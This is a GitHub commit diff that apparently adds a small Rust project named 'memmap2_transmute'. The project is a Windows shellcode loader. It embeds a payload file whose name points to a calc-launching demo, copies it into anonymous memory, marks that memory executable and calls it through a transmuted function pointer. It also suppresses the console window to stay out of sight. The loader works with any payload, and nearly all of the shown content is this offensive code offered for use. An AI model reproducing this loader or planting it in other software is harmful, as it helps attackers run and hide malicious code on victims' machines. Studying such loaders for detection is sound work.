File tree Expand file tree Collapse file tree 2 files changed +31
-0
lines changed Expand file tree Collapse file tree 2 files changed +31
-0
lines changed Original file line number Diff line number Diff line change
1
+ [package ]
2
+ name = " memmap2_transmute"
3
+ version = " 0.1.0"
4
+ edition = " 2021"
5
+
6
+ # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7
+
8
+ [dependencies ]
9
+ memmap2 = " 0.5.10"
Original file line number Diff line number Diff line change
1
+ #![ windows_subsystem = "windows" ]
2
+
3
+ use memmap2:: MmapOptions ;
4
+ use std:: mem:: transmute;
5
+
6
+ static SHELLCODE : [ u8 ; 98 ] = * include_bytes ! ( "../../w64-exec-calc-shellcode-func.bin" ) ;
7
+ static SIZE : usize = SHELLCODE . len ( ) ;
8
+
9
+ #[ cfg( target_os = "windows" ) ]
10
+ fn main ( ) {
11
+ let mut mmap = MmapOptions :: new ( )
12
+ . len ( SIZE )
13
+ . map_anon ( )
14
+ . expect ( "mmap failed!" ) ;
15
+ mmap. copy_from_slice ( SHELLCODE . as_slice ( ) ) ;
16
+ let mmap = mmap. make_exec ( ) . expect ( "make_exec failed!" ) ;
17
+
18
+ unsafe {
19
+ let shell: unsafe extern "C" fn ( ) = transmute ( mmap. as_ptr ( ) ) ;
20
+ shell ( ) ;
21
+ }
22
+ }
You can’t perform that action at this time.
0 commit comments